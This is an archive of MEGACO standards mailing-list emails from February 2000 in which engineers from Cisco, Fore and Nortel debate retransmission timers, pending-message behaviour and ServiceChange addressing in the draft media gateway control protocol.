---------------------------------------


--------------6C5AAACEBD80322E9EB5336F
Content-Type: text/html; charset=us-ascii
Content-Transfer-Encoding: 7bit



Thanks

That made it clear.

While it certainly works, I think it's pretty wasteful in terms of bandwidth
and processing time - your solution has an inherent trade-off between the
two and expediency of message loss recovery. As long as your assumption
about short-lived transactions holds, that's not too bad, however, even
today, I can give you examples that break that assumption (e.g. some forms
of MF trunking).

An approach where only a single provisional response is transmitted
(assuming no losses) followed by a final reponse which itself is acknowledged
would avoid all of these problems. Consequently, I would suggest that instead.

-- Flemming

 

 

 

 

"Rosen, Brian" wrote:

 Okay,
I'll tryWhen
you get a request, if it takes longer than "expected" time, you send pends
at a ratearound
"expected" time.  If you get a pend, you increase your timer a bit
so that youdon't
time out before the responder's pend timer times out.If
no messages are lost, the requestor gets a series of pends at about "expected"
timeintervals. 
If one or more pends are lost, the requestors timer will expire and it
will send a duplicate
request.In
this case, the request will come some time after the pend which was lost
wasoriginally
sent.  The requester doesn't expect a response for (at least) "expected"time,
but the pend timer already running will expire before then.So,
in response to a duplicate, you could send a pend, but you will send onesooner
than the requestor's timer will expire even if you don't.  If that
gets lost too,another
duplicate will be sent, but I think that is okay.So
yes, the responder "bombards" the requestor with pends, at about "expected"rate. 
There is a way to increase the timer, so you can slow down the rateif
you want to.  If you do, you would be expected to increase your timeouttime
accordingly.  Frankly, I think the default is just about right,
as there is noreason
to expect delays longer than a few times the normal time.How
is that?Brian



-----Original
Message-----

From: Flemming Andreasen [mailto:fandreasen@worldnet.att.net]

Sent: Friday, February 04,
2000 3:05 PM

To: Rosen, Brian

Cc: MEGACO@STANDARDS.NORTELNETWORKS.COM

Subject: Re: Cisco SG16: Transaction
ID uniqueness

 

Brian

Questions/comments below

-- Flemming

 

"Rosen, Brian" wrote:

 

MGC               
MG

Request ->

       
x-     Pending (now switches to a longer timer)

[br]Who
has the longer timer?  The requestor, yes, the responder, no






Are you saying that the MG will keep bombarding the MGC with pending
messages until it can send a final one ? That seems rather wasteful in
terms of both bandwidth and processing.

 



 







 

(lost, so MGC sticks w. normal timer)

(timeout)

Request ->    
(ignore since transaction is currently executing)

(timeout))

Request ->    
(ignore since transaction is currently executing)

(timeout)

Request ->    
(ignore since transaction is currently executing)

...

      
<- Final

(finally)

[br]I
think that you get a pend within the normal response.  If you lose
the pend, you generate one
extra request duplicate, but
the longer timer isn't going to be twice normal time; you simply want to
avoid the case of the pend timer and the normal response timer being the
same value and causing extra messages when the requests/responses pass
each other on the net.  If ALL the pends are lost, you would see the
above, but you would only get one extra if only the first were lost. 






I'm not sure I follow any longer. Can you explain the mechanism
again, perhaps with an example ?



 

 

Brian





--

---------------------------------------

Flemming Andreasen

Cisco Systems

---------------------------------------

 





--

---------------------------------------

Flemming Andreasen

Cisco Systems

---------------------------------------

 

--------------6C5AAACEBD80322E9EB5336F--


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Fri Feb  4 15:53:10 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA09988
	for ; Fri, 4 Feb 2000 15:53:09 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.5A0C81C0@standards.nortelnetworks.com>; Fri, 4 Feb 2000 15:48:59 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 25527 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Fri, 4 Feb 2000 15:48:38 -0500
Received: from smtprch1.nortel.com (192.135.215.14) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP
          id <0.4DA4B1F0@standards.nortelnetworks.com>; Fri, 4 Feb 2000
          15:48:38 -0500
Received: from zmers013 by smtprch1.nortel.com; Fri, 4 Feb 2000 14:49:40 -0600
Received: from zrtpd004.us.nortel.com (actually nrtpd004) by zmers013; Fri, 4
          Feb 2000 15:49:31 -0500
Received: by zrtpd004.us.nortel.com with Internet Mail Service (5.5.2448.0) id
          <1D5VCQ2S>; Fri, 4 Feb 2000 15:49:31 -0500
X-Mailer: Internet Mail Service (5.5.2448.0)
Message-ID:  
Date:         Fri, 4 Feb 2000 15:49:25 -0500
Reply-To: Tom-PT Taylor 
Sender: "Media Gateway Control (megaco)"
              
From: Tom-PT Taylor 
Subject:      Re: Cisco SG16: Transaction ID uniqueness
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

Actually, I wasn't concentrating -- what you're dealing with here isn't
quite the same as congestion avoidance.  In a way it's more complicated,
because congestion is potentially part of the picture.  Anyway, I won't
insist we have to go to SCTP unless this issue drags on and on.

> -----Original Message-----
> From: Rosen, Brian [SMTP:brosen@fore.com]
> Sent: Friday, February 04, 2000 3:44 PM
> To:   Taylor, Tom-PT [CAR:B904:EXCH]; MEGACO@standards.nortelnetworks.com
> Subject:      RE: Cisco SG16: Transaction ID uniqueness
>
> So are you advocating copying and modifying a boatload of text from SCTP
> now?
>
> Brian
>
>       -----Original Message-----
>       From: Tom-PT Taylor [mailto:taylor@nortelnetworks.com]
>       Sent: Friday, February 04, 2000 3:39 PM
>       To: MEGACO@standards.nortelnetworks.com
>       Subject: Re: Cisco SG16: Transaction ID uniqueness
>
>
>
>       We've just gone through a pile of this with SIGTRAN.  Even if we
> aren't using their transport (yet), it would be nice if we could build on
> their congestion avoidance algorithms.  Otherwise we'll be tinkering for
> months.
>
>               -----Original Message-----
>       From:   Rosen, Brian [SMTP:brosen@FORE.COM]
>       Sent:   Friday, February 04, 2000 3:21 PM
>       To:     MEGACO@STANDARDS.NORTELNETWORKS.COM
>       Subject:        Re: Cisco SG16: Transaction ID uniqueness
>
>               Okay, I'll try
>
>       When you get a request, if it takes longer than "expected" time, you
> send pends at a rate
>       around "expected" time.  If you get a pend, you increase your timer
> a bit so that you
>       don't time out before the responder's pend timer times out.
>
>       If no messages are lost, the requestor gets a series of pends at
> about "expected" time
>       intervals.  If one or more pends are lost, the requestors timer will
> expire and it will send a
>       duplicate request.
>
>       In this case, the request will come some time after the pend which
> was lost was
>       originally sent.  The requester doesn't expect a response for (at
> least) "expected"
>       time, but the pend timer already running will expire before then.
>
>       So, in response to a duplicate, you could send a pend, but you will
> send one
>       sooner than the requestor's timer will expire even if you don't.  If
> that gets lost too,
>       another duplicate will be sent, but I think that is okay.
>
>       So yes, the responder "bombards" the requestor with pends, at about
> "expected"
>       rate.  There is a way to increase the timer, so you can slow down
> the rate
>       if you want to.  If you do, you would be expected to increase your
> timeout
>       time accordingly.  Frankly, I think the default is just about right,
> as there is no
>       reason to expect delays longer than a few times the normal time.
>
>       How is that?
>
>       Brian
>
>                       -----Original Message-----
>               From: Flemming Andreasen [
> ]
>               Sent: Friday, February 04, 2000 3:05 PM
>               To: Rosen, Brian
>               Cc: MEGACO@STANDARDS.NORTELNETWORKS.COM
>               Subject: Re: Cisco SG16: Transaction ID uniqueness
>
>
>               Brian
>
>                       Questions/comments below
>
>                       -- Flemming
>
>
>                       "Rosen, Brian" wrote:
>
>
>
>                               MGC                MG
>                       Request ->
>
>                                       x-     Pending (now switches to a
> longer timer)
>
>                               [br]Who has the longer timer?  The
> requestor, yes, the responder, no
>
>
>                       Are you saying that the MG will keep bombarding the
> MGC with pending messages until it can send a final one ? That seems
> rather wasteful in terms of both bandwidth and processing.
>
>
>
>
>
>                               (lost, so MGC sticks w. normal timer)
>
>                               (timeout)
>                       Request ->     (ignore since transaction is
> currently executing)
>                       (timeout))
>                       Request ->     (ignore since transaction is
> currently executing)
>                       (timeout)
>                       Request ->     (ignore since transaction is
> currently executing)
>                       ...
>                              <- Final
>                       (finally)
>
>                               [br]I think that you get a pend within the
> normal response.  If you lose the pend, you generate one extra request
> duplicate, but the longer timer isn't going to be twice normal time; you
> simply want to avoid the case of the pend timer and the normal response
> timer being the same value and causing extra messages when the
> requests/responses pass each other on the net.  If ALL the pends are lost,
> you would see the above, but you would only get one extra if only the
> first were lost.
>
>
>                       I'm not sure I follow any longer. Can you explain
> the mechanism again, perhaps with an example ?
>
>
>
>
>
>                               Brian
>
>                       --
>               ---------------------------------------
>               Flemming Andreasen
>               Cisco Systems
>               ---------------------------------------
>
>


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Fri Feb  4 15:55:57 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA10045
	for ; Fri, 4 Feb 2000 15:55:57 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.EC54EEA0@standards.nortelnetworks.com>; Fri, 4 Feb 2000 15:53:04 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 25438 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Fri, 4 Feb 2000 15:52:14 -0500
Received: from mailgate.fore.com by standards.nortelnetworks.com (LSMTP for
          Windows NT v1.1a) with SMTP id
          <0.689A8260@standards.nortelnetworks.com>; Fri, 4 Feb 2000 15:42:14
          -0500
Received: from mailman.fore.com (mailman.fore.com [169.144.2.12]) by
          mailgate.fore.com (8.9.3/8.9.3) with ESMTP id PAA29362; Fri, 4 Feb
          2000 15:44:23 -0500 (EST)
Received: from whq-msgrtr-01.fore.com (whq-msgrtr-01.fore.com [169.144.2.221])
          by mailman.fore.com (8.9.3/8.9.3) with ESMTP id PAA29609; Fri, 4 Feb
          2000 15:44:27 -0500 (EST)
Received: by whq-msgrtr-01.fore.com with Internet Mail Service (5.5.2650.21) id
          <1JCTTT3V>; Fri, 4 Feb 2000 15:41:11 -0500
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: multipart/alternative;
              boundary="----_=_NextPart_001_01BF6F50.2B81CA3A"
Message-ID:  <4FBEA8857476D311A03300204840E1CF20889D@whq-msgusr-02.fore.com>
Date:         Fri, 4 Feb 2000 15:44:24 -0500
Reply-To: "Rosen, Brian" 
Sender: "Media Gateway Control (megaco)"
              
From: "Rosen, Brian" 
Subject:      Re: Cisco SG16: Transaction ID uniqueness
X-To:         Tom-PT Taylor 
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01BF6F50.2B81CA3A
Content-Type: text/plain;
        charset="iso-8859-1"

So are you advocating copying and modifying a boatload of text from SCTP
now?

Brian

-----Original Message-----
From: Tom-PT Taylor [mailto:taylor@nortelnetworks.com]
Sent: Friday, February 04, 2000 3:39 PM
To: MEGACO@standards.nortelnetworks.com
Subject: Re: Cisco SG16: Transaction ID uniqueness



We've just gone through a pile of this with SIGTRAN.  Even if we aren't
using their transport (yet), it would be nice if we could build on their
congestion avoidance algorithms.  Otherwise we'll be tinkering for months.

        -----Original Message-----
From:   Rosen, Brian [SMTP:brosen@FORE.COM]
Sent:   Friday, February 04, 2000 3:21 PM
To:     MEGACO@STANDARDS.NORTELNETWORKS.COM
Subject:        Re: Cisco SG16: Transaction ID uniqueness

        Okay, I'll try

When you get a request, if it takes longer than "expected" time, you send
pends at a rate
around "expected" time.  If you get a pend, you increase your timer a bit so
that you
don't time out before the responder's pend timer times out.

If no messages are lost, the requestor gets a series of pends at about
"expected" time
intervals.  If one or more pends are lost, the requestors timer will expire
and it will send a
duplicate request.

In this case, the request will come some time after the pend which was lost
was
originally sent.  The requester doesn't expect a response for (at least)
"expected"
time, but the pend timer already running will expire before then.

So, in response to a duplicate, you could send a pend, but you will send one

sooner than the requestor's timer will expire even if you don't.  If that
gets lost too,
another duplicate will be sent, but I think that is okay.

So yes, the responder "bombards" the requestor with pends, at about
"expected"
rate.  There is a way to increase the timer, so you can slow down the rate
if you want to.  If you do, you would be expected to increase your timeout
time accordingly.  Frankly, I think the default is just about right, as
there is no
reason to expect delays longer than a few times the normal time.

How is that?

Brian

        -----Original Message-----
From: Flemming Andreasen [ mailto:fandreasen@worldnet.att.net
 ]
Sent: Friday, February 04, 2000 3:05 PM
To: Rosen, Brian
Cc: MEGACO@STANDARDS.NORTELNETWORKS.COM
Subject: Re: Cisco SG16: Transaction ID uniqueness


Brian

        Questions/comments below

        -- Flemming


        "Rosen, Brian" wrote:



        MGC                MG
Request ->

                x-     Pending (now switches to a longer timer)

        [br]Who has the longer timer?  The requestor, yes, the responder, no



        Are you saying that the MG will keep bombarding the MGC with pending
messages until it can send a final one ? That seems rather wasteful in terms
of both bandwidth and processing.





        (lost, so MGC sticks w. normal timer)

        (timeout)
Request ->     (ignore since transaction is currently executing)
(timeout))
Request ->     (ignore since transaction is currently executing)
(timeout)
Request ->     (ignore since transaction is currently executing)
...
       <- Final
(finally)

        [br]I think that you get a pend within the normal response.  If you
lose the pend, you generate one extra request duplicate, but the longer
timer isn't going to be twice normal time; you simply want to avoid the case
of the pend timer and the normal response timer being the same value and
causing extra messages when the requests/responses pass each other on the
net.  If ALL the pends are lost, you would see the above, but you would only
get one extra if only the first were lost.


        I'm not sure I follow any longer. Can you explain the mechanism
again, perhaps with an example ?





        Brian

        --
---------------------------------------
Flemming Andreasen
Cisco Systems
---------------------------------------



------_=_NextPart_001_01BF6F50.2B81CA3A
Content-Type: text/html;
        charset="iso-8859-1"




RE: Cisco SG16: Transaction ID uniqueness




So are
you advocating copying and modifying a boatload of text from SCTP
now?


 


Brian



  
-----Original Message-----
From: Tom-PT Taylor
  [mailto:taylor@nortelnetworks.com]
Sent: Friday, February 04, 2000
  3:39 PM
To: MEGACO@standards.nortelnetworks.com
Subject:
  Re: Cisco SG16: Transaction ID uniqueness


  
We've just gone through a pile of
  this with SIGTRAN.  Even if we aren't using their transport (yet), it
  would be nice if we could build on their congestion avoidance
  algorithms.  Otherwise we'll be tinkering for months.

  
    
    
    -----Original Message----- 
    From:   Rosen, Brian [SMTP:brosen@FORE.COM] 
    Sent:   Friday, February
    04, 2000 3:21 PM 
    To:     MEGACO@STANDARDS.NORTELNETWORKS.COM 
    Subject:        Re: Cisco SG16: Transaction ID uniqueness 
    
    
    Okay, I'll try 
      
    When you
    get a request, if it takes longer than "expected" time, you send pends at a
    rate 
    around "expected"
    time.  If you get a pend, you increase your timer a bit so that
    you 
    don't time out before
    the responder's pend timer times out. 
      
    If no
    messages are lost, the requestor gets a series of pends at about "expected"
    time 
    intervals.  If
    one or more pends are lost, the requestors timer will expire and it will
    send a 
    duplicate
    request. 
      
    In this case, the request will come some time after the
    pend which was lost was 
    originally sent.  The requester doesn't expect a response for
    (at least) "expected" 
    time,
    but the pend timer already running will expire before then. 
      
    So, in
    response to a duplicate, you could send a pend, but you will send one
    
    sooner than the requestor's timer
    will expire even if you don't.  If that gets lost too, 
    another duplicate will be sent, but I think
    that is okay. 
      
    So yes, the responder "bombards" the
    requestor with pends, at about "expected" 
    rate.  There is a way to increase the timer, so you
    can slow down the rate 
    if
    you want to.  If you do, you would be expected to increase your
    timeout 
    time
    accordingly.  Frankly, I think the default is just about right, as
    there is no 
    reason to
    expect delays longer than a few times the normal time. 
      
    How is
    that? 
      
    Brian 
    
    
      
      
      -----Original Message-----
      From: Flemming
      Andreasen [mailto:fandreasen@worldnet.att.net]
      Sent: Friday, February 04, 2000
      3:05 PM
      To: Rosen, Brian
      Cc:
      MEGACO@STANDARDS.NORTELNETWORKS.COM
      Subject: Re: Cisco SG16:
      Transaction ID uniqueness


      Brian
      
      
      
      Questions/comments below 
      
      
      -- Flemming
        
      
      
      "Rosen, Brian" wrote: 
      
      
        
        
          
        
        
          
          
          MGC               
          MG
          Request
          -> 
          
          
                 
          x-     Pending (now switches to a longer
          timer) 
          
          
          [br]Who has the longer
          timer?  The requestor, yes, the responder, no
      

      
      
      Are you saying that the MG will keep bombarding the
      MGC with pending messages until it can send a final one ? That seems
      rather wasteful in terms of both bandwidth and processing.
       
      
      
      
        
        
          
          
            

          
          
          (lost, so MGC sticks w. normal
          timer) 
          
          
          (timeout)
          Request
          ->     (ignore since transaction is currently
          executing)
          (timeout))
          Request ->     (ignore since
          transaction is currently executing)
          (timeout)
          Request
          ->     (ignore since transaction is currently
          executing)
          ...
                 <-
          Final
          (finally) 
          
          
          [br]I think that you get a
          pend within the normal response.  If you lose the pend, you
          generate one extra request duplicate, but the longer timer isn't going
          to be twice normal time; you simply want to avoid the case of the pend
          timer and the normal response timer being the same value and causing
          extra messages when the requests/responses pass each other on the
          net.  If ALL the pends are lost, you would see the above, but you
          would only get one extra if only the first were
          lost. 

      
      
      I'm not sure I follow any longer. Can you explain the
      mechanism again, perhaps with an example ? 
      
      
        
        
          
          
            
          
          
            
            
              
            
            
            Brian 
      
      
      --
      ---------------------------------------
      Flemming
      Andreasen
      Cisco
      Systems
      ---------------------------------------
       
  


------_=_NextPart_001_01BF6F50.2B81CA3A--


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Fri Feb  4 16:04:47 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA10261
	for ; Fri, 4 Feb 2000 16:04:47 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.309E3480@standards.nortelnetworks.com>; Fri, 4 Feb 2000 16:02:08 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 25647 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Fri, 4 Feb 2000 16:00:45 -0500
Received: from mtiwmhc09.worldnet.att.net by standards.nortelnetworks.com
          (LSMTP for Windows NT v1.1a) with SMTP id
          <0.FE8A8890@standards.nortelnetworks.com>; Fri, 4 Feb 2000 16:00:44
          -0500
Received: from worldnet.att.net ([12.78.109.48]) by mtiwmhc09.worldnet.att.net
          (InterMail v03.02.07.07 118-134) with ESMTP id
          <20000204210250.KIHK7433@worldnet.att.net>; Fri, 4 Feb 2000 21:02:50
          +0000
X-Mailer: Mozilla 4.61 [en] (Win98; I)
X-Accept-Language: en
MIME-Version: 1.0
References: 
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID:  <389B3DAF.B64EF2C8@worldnet.att.net>
Date:         Fri, 4 Feb 2000 15:59:27 -0500
Reply-To: Flemming Andreasen 
Sender: "Media Gateway Control (megaco)"
              
From: Flemming Andreasen 
Subject:      Re: Cisco SG16: Service Change
X-To:         Tom-PT Taylor 
X-cc:         Brian Rosen 
To: MEGACO@STANDARDS.NORTELNETWORKS.COM
Content-Transfer-Encoding: 7bit

Looks good to me.

-- Flemming

Tom-PT Taylor wrote:

> OK if it's OK with Flemming.  I was looking at things the wrong way when I
> denied symmetry.
>
> > -----Original Message-----
> > From: Rosen, Brian [SMTP:brosen@fore.com]
> > Sent: Friday, February 04, 2000 3:33 PM
> > To:   Taylor, Tom-PT [CAR:B904:EXCH]; megaco@standards.nortelnetworks.com
> > Subject:      RE: Cisco SG16: Service Change
> >
> > Agreed, and is there any reason the MG can't do the same?  Requests go
> > where ServiceChange says, replies go back to whom they came from.  Must
> > make sure we handle failover correctly.
> >
> > Brian
> >
> >       -----Original Message-----
> >       From: Tom-PT Taylor [mailto:taylor@nortelnetworks.com]
> >       Sent: Friday, February 04, 2000 3:24 PM
> >       To: Rosen, Brian; megaco@standards.nortelnetworks.com
> >       Subject: RE: Cisco SG16: Service Change
> >
> >
> >
> >       Proposal: if and only if the MG supplies a ServiceChangeAddress, it
> > wants all commands directed to that address.  The MGC would continue to
> > send responses back to the address the requests came from, even if this
> > requires sending transaction requests in separate messages from
> > transaction replies and transaction pending messages.
> >
> >       It's not symmetric: if the MGC supplies a ServiceChangeAddress, the
> > whole association moves over to that address.
> >
> >               -----Original Message-----
> >       From:   Rosen, Brian [SMTP:brosen@fore.com]
> >       Sent:   Friday, February 04, 2000 11:48 AM
> >       To:     Taylor, Tom-PT [CAR:B904:EXCH];
> > megaco@standards.nortelnetworks.com
> >       Subject:        RE: Cisco SG16: Service Change
> >
> >               Excuse me, messages don't matter, transactions do.  A
> > message with one request transaction and one response transaction can, and
> > most probably will, result in a different
> >
> >               structure in outgoing messages.  It would not be a big
> > burden to have responses going
> >       to a different place than transactions, although it might increase
> > the number of
> >       messages.
> >
> >       Brian
> >
> >                       -----Original Message-----
> >               From: Tom-PT Taylor [ ]
> >               Sent: Friday, February 04, 2000 11:31 AM
> >               To: Rosen, Brian; megaco@standards.nortelnetworks.com
> >               Subject: RE: Cisco SG16: Service Change
> >
> >
> >
> >                       Glitch warning -- indicated change won't work.  Our
> > messages can include both requests and responses, so the address to which
> > messages are sent is an all or nothing decision.  I'll try to make things
> > consistent with section 9.  Simplest way is by saying that
> > ServiceChangeAddress should not be sent by an MG when transport is over
> > IP.
> >
> >                               -----Original Message-----
> >               From:   Rosen, Brian [SMTP:brosen@FORE.COM]
> >               Sent:   Friday, February 04, 2000 9:22 AM
> >               [[TomT]]  snip
> >               >
> >               > Section:         7.2.8 (ServiceChange), fifth last
> > paragraph
> >               > Category:     Technical, Editorial
> >               > Issue no.:     14.8
> >               > Issue:          The draft text specifies that "The MGC
> > shall use this
> >               > Addres, if specified, in its response to the ServiceChange
> >               > command and any
> >               > subequent commands and responses" and "The MG shall use
> > this
> >               > address for
> >               > any subsequent communication with the MGC". While it makes
> >               > sense to require
> >               > commands to be sent to this address, it is generally not a
> >               > good idea to
> >               > require this for responses, e.g. for clustered systems.
> > Furthermore,
> >               > Section 9 (Transport) also specifies that "Responses to
> >               > commands are sent
> >               > back to the source address of the commands"
> >               > Proposal:     It is strongly recommended, that commands
> > will
> >               > be sent to the
> >               > address specified while responses will always be sent to
> > the
> >               > source address
> >               > they came from.
> >               > Status:
> >               I agree with this.  The text is inconsistant, so something
> > needs
> >               to be changed.  Chip's proposal seems the most reasonable
> > way
> >               to resolve it
> >
> >
> >                               [[TomT]]  snip
> >

--
---------------------------------------
Flemming Andreasen
Cisco Systems
---------------------------------------


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Fri Feb  4 16:10:50 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA10344
	for ; Fri, 4 Feb 2000 16:10:49 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.091D06B0@standards.nortelnetworks.com>; Fri, 4 Feb 2000 16:08:12 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 25641 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Fri, 4 Feb 2000 16:07:59 -0500
Received: from mailgate.fore.com by standards.nortelnetworks.com (LSMTP for
          Windows NT v1.1a) with SMTP id
          <0.9BCFB900@standards.nortelnetworks.com>; Fri, 4 Feb 2000 15:57:59
          -0500
Received: from mailman.fore.com (mailman.fore.com [169.144.2.12]) by
          mailgate.fore.com (8.9.3/8.9.3) with ESMTP id QAA01315; Fri, 4 Feb
          2000 16:00:03 -0500 (EST)
Received: from whq-msgrtr-01.fore.com (whq-msgrtr-01.fore.com [169.144.2.221])
          by mailman.fore.com (8.9.3/8.9.3) with ESMTP id QAA03908; Fri, 4 Feb
          2000 16:00:07 -0500 (EST)
Received: by whq-msgrtr-01.fore.com with Internet Mail Service (5.5.2650.21) id
          <1JCTTT6D>; Fri, 4 Feb 2000 15:56:51 -0500
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: multipart/alternative;
              boundary="----_=_NextPart_001_01BF6F52.5BD3F1A2"
Message-ID:  <4FBEA8857476D311A03300204840E1CF20889F@whq-msgusr-02.fore.com>
Date:         Fri, 4 Feb 2000 16:00:04 -0500
Reply-To: "Rosen, Brian" 
Sender: "Media Gateway Control (megaco)"
              
From: "Rosen, Brian" 
Subject:      Re: Cisco SG16: Transaction ID uniqueness
X-To:         Flemming Andreasen 
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01BF6F52.5BD3F1A2
Content-Type: text/plain;
        charset="iso-8859-1"

Since there is no way for the requestor to know how long the responder will
take,
how long should it wait before sending a duplicate request, after it gets a
pend?

Whatever the answer is, that is the rate at which pends have to come.

If the timer is very long, then the timer to clear a missed final response
will be very long

Whatever the timer is, we may have to have repeated pends, and each of them
will be proceeded by a duplicate request in your proposal.

The scheme we have now is just like the one you propose, except that the
pends
come without prompt by the requestor, and the default value of the timer is
short.

Brian

-----Original Message-----
From: Flemming Andreasen [mailto:fandreasen@worldnet.att.net]
Sent: Friday, February 04, 2000 3:47 PM
To: Rosen, Brian
Cc: MEGACO@STANDARDS.NORTELNETWORKS.COM
Subject: Re: Cisco SG16: Transaction ID uniqueness


Thanks

That made it clear.


While it certainly works, I think it's pretty wasteful in terms of bandwidth
and processing time - your solution has an inherent trade-off between the
two and expediency of message loss recovery. As long as your assumption
about short-lived transactions holds, that's not too bad, however, even
today, I can give you examples that break that assumption (e.g. some forms
of MF trunking).


An approach where only a single provisional response is transmitted
(assuming no losses) followed by a final reponse which itself is
acknowledged would avoid all of these problems. Consequently, I would
suggest that instead.


-- Flemming






"Rosen, Brian" wrote:


 Okay, I'll tryWhen you get a request, if it takes longer than "expected"
time, you send pends at a ratearound "expected" time.  If you get a pend,
you increase your timer a bit so that youdon't time out before the
responder's pend timer times out.If no messages are lost, the requestor gets
a series of pends at about "expected" timeintervals.  If one or more pends
are lost, the requestors timer will expire and it will send a duplicate
request.In this case, the request will come some time after the pend which
was lost wasoriginally sent.  The requester doesn't expect a response for
(at least) "expected"time, but the pend timer already running will expire
before then.So, in response to a duplicate, you could send a pend, but you
will send onesooner than the requestor's timer will expire even if you
don't.  If that gets lost too,another duplicate will be sent, but I think
that is okay.So yes, the responder "bombards" the requestor with pends, at
about "expected"rate.  There is a way to increase the timer, so you can slow
down the rateif you want to.  If you do, you would be expected to increase
your timeouttime accordingly.  Frankly, I think the default is just about
right, as there is noreason to expect delays longer than a few times the
normal time.How is that?Brian

-----Original Message-----
From: Flemming Andreasen [ mailto:fandreasen@worldnet.att.net
 ]
Sent: Friday, February 04, 2000 3:05 PM
To: Rosen, Brian
Cc: MEGACO@STANDARDS.NORTELNETWORKS.COM
Subject: Re: Cisco SG16: Transaction ID uniqueness

Brian

Questions/comments below


-- Flemming



"Rosen, Brian" wrote:




MGC                MG
Request ->

        x-     Pending (now switches to a longer timer)


[br]Who has the longer timer?  The requestor, yes, the responder, no


Are you saying that the MG will keep bombarding the MGC with pending
messages until it can send a final one ? That seems rather wasteful in terms
of both bandwidth and processing.






(lost, so MGC sticks w. normal timer)

(timeout)
Request ->     (ignore since transaction is currently executing)
(timeout))
Request ->     (ignore since transaction is currently executing)
(timeout)
Request ->     (ignore since transaction is currently executing)
...
       <- Final
(finally)


[br]I think that you get a pend within the normal response.  If you lose the
pend, you generate one extra request duplicate, but the longer timer isn't
going to be twice normal time; you simply want to avoid the case of the pend
timer and the normal response timer being the same value and causing extra
messages when the requests/responses pass each other on the net.  If ALL the
pends are lost, you would see the above, but you would only get one extra if
only the first were lost.


I'm not sure I follow any longer. Can you explain the mechanism again,
perhaps with an example ?






Brian

--
---------------------------------------
Flemming Andreasen
Cisco Systems
---------------------------------------


--
---------------------------------------
Flemming Andreasen
Cisco Systems
---------------------------------------



------_=_NextPart_001_01BF6F52.5BD3F1A2
Content-Type: text/html;
        charset="iso-8859-1"









Since
there is no way for the requestor to know how long the responder will
take,


how
long should it wait before sending a duplicate request, after it gets a
pend?


 


Whatever the answer is, that is the rate at which pends
have to come.  


 


If the
timer is very long, then the timer to clear a missed final response will be very
long


 


Whatever the timer is, we may have to have
repeated pends, and each of them


will
be proceeded by a duplicate request in your proposal.


 


The
scheme we have now is just like the one you propose, except that the
pends


come
without prompt by the requestor, and the default value of the timer is
short.


 


Brian



  
-----Original Message-----
From: Flemming Andreasen
  [mailto:fandreasen@worldnet.att.net]
Sent: Friday, February 04, 2000
  3:47 PM
To: Rosen, Brian
Cc:
  MEGACO@STANDARDS.NORTELNETWORKS.COM
Subject: Re: Cisco SG16:
  Transaction ID uniqueness

Thanks
  
That made it clear.
  
While it certainly works, I think it's pretty wasteful in terms of
  bandwidth and processing time - your solution has an inherent trade-off
  between the two and expediency of message loss recovery. As long as your
  assumption about short-lived transactions holds, that's not too bad, however,
  even today, I can give you examples that break that assumption (e.g. some
  forms of MF trunking).
  
An approach where only a single provisional response is transmitted
  (assuming no losses) followed by a final reponse which itself is acknowledged
  would avoid all of these problems. Consequently, I would suggest that instead.

  
-- Flemming 
  
  
  
 
  
"Rosen, Brian" wrote:
  
 Okay, I'll
    tryWhen you get a request, if it takes longer than "expected" time, you
    send pends at a ratearound "expected" time.  If you get a pend, you increase your
    timer a bit so that youdon't time out before the responder's pend timer times
    out.If no messages are lost, the requestor gets a series of pends at
    about "expected" timeintervals.  If one or more pends are lost, the requestors timer
    will expire and it will send a duplicate request.In this case, the request will
    come some time after the pend which was lost
    wasoriginally sent.  The
    requester doesn't expect a response for (at least)
    "expected"time, but the pend timer
    already running will expire before then.So, in response to a duplicate,
    you could send a pend, but you will send
    onesooner than the requestor's
    timer will expire even if you don't.  If that gets lost
    too,another duplicate will be sent,
    but I think that is okay.So yes, the responder
    "bombards" the requestor with pends, at about
    "expected"rate.  There is a way to
    increase the timer, so you can slow down the
